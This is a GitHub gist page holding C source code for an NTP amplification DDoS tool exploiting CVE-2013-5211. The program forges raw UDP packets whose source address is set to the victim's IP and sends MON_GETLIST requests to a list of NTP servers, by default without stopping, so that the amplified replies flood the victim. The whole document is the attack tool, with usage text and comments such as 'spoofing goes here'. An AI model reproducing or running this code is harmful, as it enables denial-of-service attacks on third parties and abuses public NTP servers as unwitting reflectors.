Skip to content

Instantly share code, notes, and snippets.

@grizmin
Created February 19, 2016 23:52
Show Gist options
  • Save grizmin/9a40ef91e9c138610d7b to your computer and use it in GitHub Desktop.
Save grizmin/9a40ef91e9c138610d7b to your computer and use it in GitHub Desktop.
ntp ddos
/*
* by Konstantin Krastev
*
* NTP DDoS amplification
* Date: 04/04/2014
* Used POC by Danilo PC - <DaNotKnow@gmail.com>
* CVE : CVE-2013-5211
*/
#include <stdio.h> //For on printf function
#include <string.h> //For memset
#include <sys/socket.h> //Structs and Functions used for sockets operations.
#include <stdlib.h> //For exit function
#include <netinet/ip.h> //Structs for IP header
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
//Struct for UDP Packet
struct udpheader{
unsigned short int udp_sourcePortNumber;
unsigned short int udp_destinationPortNumber;
unsigned short int udp_length;
unsigned short int udp_checksum;
};
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct ntpreqheader {
unsigned char rm_vn_mode; /* response, more, version, mode */
unsigned char auth_seq; /* key, sequence number */
unsigned char implementation; /* implementation number */
unsigned char request; /* request number */
unsigned short err_nitems; /* error code/number of data items */
unsigned short mbz_itemsize; /* item size */
char data[40]; /* data area [32 prev](176 byte max) */
unsigned long tstamp; /* time stamp, for authentication */
unsigned int keyid; /* encryption key */
char mac[8]; /* (optional) 8 byte auth code */
};
struct ntp_t
{
struct sockaddr_in sin; /* socket prot structure */
int s; /* socket */
int rnd; /* Random dst port boolean */
int psize; /* packet size */
int num; /* number of packets to send */
int delay; /* delay between (in ms) */
unsigned short dstport; /* dest port array (udp) */
unsigned short srcport; /* source port (udp) */
char *padding; /* junk data */
unsigned long ip;
};
/* prototypes */
void usage (char *);
unsigned long resolve (char *);
void getports (struct ntp_t *, char *);
void ntp_send (struct ntp_t *, unsigned long, int);
unsigned short in_chksum (unsigned short *, int);
char packet;
//Da MAIN
int psize; /* packet size */
int sockfd; // Maintains the socket file descriptor
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets.
struct sockaddr_in dest; // Maintains the data of the destination address
int status; // Maintains the return values of the functions
struct ntp_t ntpt;
int main(int argc, char *argv[])
{
FILE *ntplist;
unsigned long nlist[1024];
char buf[32];
int fd, n, cycle, num = 0, on = 1;
char c;
if (argc < 3)
usage(argv[0]);
/* set defaults */
memset((struct ntp_t *) &ntpt, 0, sizeof(ntpt));
ntpt.psize = 64;
ntpt.num = 0;
ntpt.delay = 10000;
ntpt.sin.sin_port = htons(0);
ntpt.sin.sin_family = AF_INET;
ntpt.srcport = 123;
ntpt.dstport = 123;
/* resolve 'source' host, quit on error */
ntpt.sin.sin_addr.s_addr = resolve(argv[1]);
ntpt.ip = resolve(argv[1]);
// printf("ntpt.sin.sin_addr.s_addr = %d\n",ntpt.sin.sin_addr.s_addr);
/* open the ntplist file */
if ((ntplist = fopen(argv[2], "r")) == NULL)
{
perror("Opening ntplist file");
exit(-1);
}
//printf("%s\n","done reading file.");
/* parse out options */
optind = 3;
while ((c = getopt(argc, argv, "rRn:d:p:s:")) != -1)
{
switch (c)
{
case 'p':
ntpt.dstport = (unsigned short) atoi(optarg);
break;
/* number of packets to send */
case 'n':
ntpt.num = atoi(optarg);
break;
/* usleep between packets (in ms) */
case 'd':
ntpt.delay = atoi(optarg);
break;
/* source port */
case 's':
ntpt.srcport = (unsigned short) atoi(optarg);
break;
default:
usage(argv[0]);
}
} /* end getopt() loop */
//printf("%s\n","done processing options.");
/* read in our ntplist and store them in our array */
while (fgets(buf, sizeof buf, ntplist) != NULL)
{
char *p;
int valid;
/* skip over comments/blank lines */
if (buf[0] == '#' || buf[0] == '\n') continue;
/* get rid of newline */
buf[strlen(buf) - 1] = '\0';
/* check for valid address */
for (p = buf, valid = 1; *p != '\0'; p++)
{
if ( ! isdigit(*p) && *p != '.' )
{
fprintf(stderr, "Skipping invalid ip %s\n", buf);
valid = 0;
break;
}
}
/* if valid address, copy to our array */
if (valid)
{
nlist[num] = inet_addr(buf);
num++;
if (num == 1024)
break;
}
} /* end nlist while loop */
// printf("%s\n","done while loop.");
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (sockfd == -1){
printf("Error on initializing the socket\n");
exit(1);
}
// printf("%s\n","done creating socket.");
// printf("ntp.num = %d\n",ntpt.num);
//Sets the option IP_HDRINCL
status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
if (status == -1){
printf("Error on setting the option HDRINCL on socket\n");
exit(1);
}
/* seed our random function */
srand(time(NULL) * getpid());
//printf("%s\n","done creating socket2.");
/* wee.. */
for (n = 0, cycle = 0; n < ntpt.num || !ntpt.num; n++)
{
int x;
// printf("%d\n",nlist[cycle]);
ntp_send(&ntpt, nlist[cycle], x);
/* quick nap */
usleep(ntpt.delay);
// printf("%s\n","done cycle");
/* cosmetic psychadelic dots */
if (n % 50 == 0)
{
printf(".");
fflush(stdout);
}
cycle = (cycle + 1) % num;
}
exit(0);
}
unsigned short in_chksum (unsigned short *addr, int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void usage (char *s)
{
fprintf(stderr,
"usage: %s <target host> <ntplist file> [options]\n"
"\n"
"Options\n"
"-p: dest port (default 123, change only if NTP server is running on different port)\n"
"-s: Source port (0 for random (default))\n"
"-n: Num of packets to send (0 is continuous (default))\n"
"-d: Delay inbetween packets (in ms) (default 10000)\n"
"\n", s);
exit(-1);
}
unsigned long resolve (char *host)
{
struct in_addr in;
struct hostent *he;
/* try ip first */
if ((in.s_addr = inet_addr(host)) == -1)
{
/* nope, try it as a fqdn */
if ((he = gethostbyname(host)) == NULL)
{
/* can't resolve, bye. */
herror("Resolving victim host");
exit(-1);
}
memcpy( (caddr_t) &in, he->h_addr, he->h_length);
}
// printf("in.s_addr = %d\n\n",in.s_addr);
return(in.s_addr);
}
void ntp_send (struct ntp_t *ntpt, unsigned long dst, int n)
{
printf(".")
struct iphdr *ip; // Pointer to ip header struct
struct udpheader *udp; // Pointer to udp header struct
struct ntpreqheader *ntp; // Pointer to ntp request header struct
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself
//Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
//"Zeroes" all the packet stack
memset( packet, 0, sizeof(packet) );
ip = (struct iphdr *)packet;
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
//Fill the IP Header
ip->version = 4; //IPv4
ip->ihl = 5; //Size of the Ip header, minimum 5
ip->tos = 0; //Type of service, the default value is 0
ip->tot_len = sizeof(packet); //Size of the datagram
ip->id = htons(1234); //LengthIdentification Number
ip->frag_off = 0; //Flags, zero represents reserved
ip->ttl = 255; //Time to Live. Maximum of 255
ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol
ip->check = 0; //Checksum.
ip->saddr = ntpt->ip; //Source ip ( spoofing goes here)
// ip->saddr = inet_addr ("46.10.210.1"); //Source ip ( spoofing goes here)
ip->daddr = dst; //Destination IP
// printf("ntpt->sin.sin_addr.s_addr = %d\n",ntpt->sin.sin_addr.s_addr);
// printf("ntpt->ip = %d\n",ntpt->ip);
//Fills the UDP Header
udp->udp_sourcePortNumber = htons(ntpt->srcport); //Source Port
udp->udp_destinationPortNumber = htons(ntpt->dstport); //Destination Port
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet
udp->udp_checksum = 0; //Checksum
//Calculate the checksums
ip->check = in_chksum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header
//Sets the destination data
ntpt->sin.sin_family = AF_INET; // Address Family Ipv4
ntpt->sin.sin_port = htons (atoi( "123" ) ) ; // Destination port
ntpt->sin.sin_addr.s_addr = dst; // Destination Endereço para onde se quer enviar o pacote
//Fills the NTP header
//Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
//To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7
ntp->implementation=0x03; //Sets the implementation to 3
ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST )
//All the other fields of the struct are zeroed
// Sends the packets
status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&ntpt->sin, sizeof(ntpt->sin) );
if(status <0){
printf("Failed to send the packets\n");
exit(1);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment